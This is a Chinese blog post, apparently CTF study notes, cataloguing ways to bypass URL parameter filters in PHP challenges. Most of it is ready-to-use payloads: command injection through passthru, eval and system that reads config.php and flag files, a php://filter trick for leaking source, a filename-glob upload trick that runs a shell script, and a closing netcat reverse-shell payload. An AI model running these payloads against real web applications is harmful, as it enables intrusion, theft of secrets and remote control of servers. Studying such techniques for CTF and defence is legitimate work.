梦の博客 欢迎来到我的破站
歌曲封面 未知作品

网站已运行 362 天 19 小时 36 分

Powered by Typecho & Sunny

2 online · 59 ms

Title

绕过过滤url传参值的方法

云梦

·

Article

题目:最大上传值为999,要求传1000才返回值。

or绕:

♾️ abap 代码:
?id=2 or id=1000

加减乘除法绕过:

♾️ abap 代码:
/?100*10  #乘
/?100/0.1  #除
/?200+800  #加
/?1200-200  #减

二次取反绕过

♾️ abap 代码:
/?id=~~1000

单双绕过:

♾️ abap 代码:
/?id='1000'  #单引号
/?id="1000"  #双引号

二进制绕过:

♾️ abap 代码:
/?id=0b1111101000

0b是二进制的标识
ljhzrodn.png

base64绕过:

♾️ abap 代码:
?c=$a=base64_decode('Y2F0IGNvbmZpZy5waHA=');passthru($a); 

解密:cat config.php,解码后复制给 $a ,使用 passthru() 函数执行 $a 变量。

``绕过
在Linux中,`` 作用是优先执行里面的内容,再把里面的内容传给外面的语句。

♾️ abap 代码:
/?c=passthru("ca``t `ls`")

php.base64伪协议绕过:

♾️ abap 代码:
/?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=config.php

GET请求 a 的伪协议值。 include 为包含函数。 ?> 为关闭PHP代码块的标记。

嵌套eval函数绕过:

这里只判断了c这个参数,并不会判断其他参数的传入

♾️ abap 代码:
c=eval($_GET[a]);&a=system('cat flag.php');

这里注意后面是a的参数,而不是c的参数,这个payload共传递了两个参数,第一个为嵌套eval第二个为向嵌套的eval传入参数

无字母数字绕过:

我们上传到linux系统中的文件,都会被存放到/tmp目录下,并且传入生成的临时文件中,只有传入的php文件,中含有大写字母,且格式为/tmp/php???的形式,因此可以使用方法来选择传入的php文件/???/???[@-[]此处为何最后一位需要用[@-[]来表示,这需要查阅ascii码表,可以看出,大写字母是被@和[两个字符所包围的,因此[@-[]可以用来表示所有的大写字母。
抓包—>构建post包

♾️ abap 代码:
?c=.+/???/????????[@-[]

内容:

♾️ abap 代码:
#!/bin/sh
ls

上传文件php:

{collapse}
{collapse-item label="php" open}

♾️ abap 代码:
<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8" />
    <title></title>
</head>
<body>
    <form action="http://8f79b818-dffd-4d3e-bab6-7afde656b630.challenge.ctf.show/" method="post" enctype="multipart/form-data">
        <input type="file" name="file" />
        <input type="submit" value="submit" />
    </form>
</body>
</html>

{/collapse-item}

{/collapse}

取反绕过:

值0为:

♾️ abap 代码:
$(())

lk5fzak8.png
值-1为:

♾️ abap 代码:
$((~$(())))

$((~$(())))为一个整体
可以用加号连接再取反:

♾️ abap 代码:
$((~$(())))+$((~$(())))为-1+1-
把他们当个整体再在外面加个$(())
结果等于-2

lk5g3jb3.png
想取值为1,就在 $((~$(())))+$((~$(()))) 前面加个 ~ ,再当成一个整体,这个包含在$(())中。

♾️ abap 代码:
$((~$(($((~$(())))+$((~$(())))))))

lk5g7v55.png
$(()) 为输出标准格式。
以此类推,可以绕过数字过滤。

base64绕过:(通解)

加密内容就是要执行的命令

♾️ php 代码:
cmd=`echo dGFjIGZsYWcucGhwCg==|base64 -d` ||

script标签绕过:

♾️ php 代码:
http://123123.men/?1=<script language="php">system('tac /f*')</script>

反弹shell绕过:

♾️ php 代码:
http://123123.men/?1=<?`$_GET[2]`;&2=nc ip port -e /bin/sh
现在已有 0 条评论,0 人点赞
Comment
发表
搜 索 消 息 足 迹
你还不曾留言过..
你还不曾留下足迹..
博主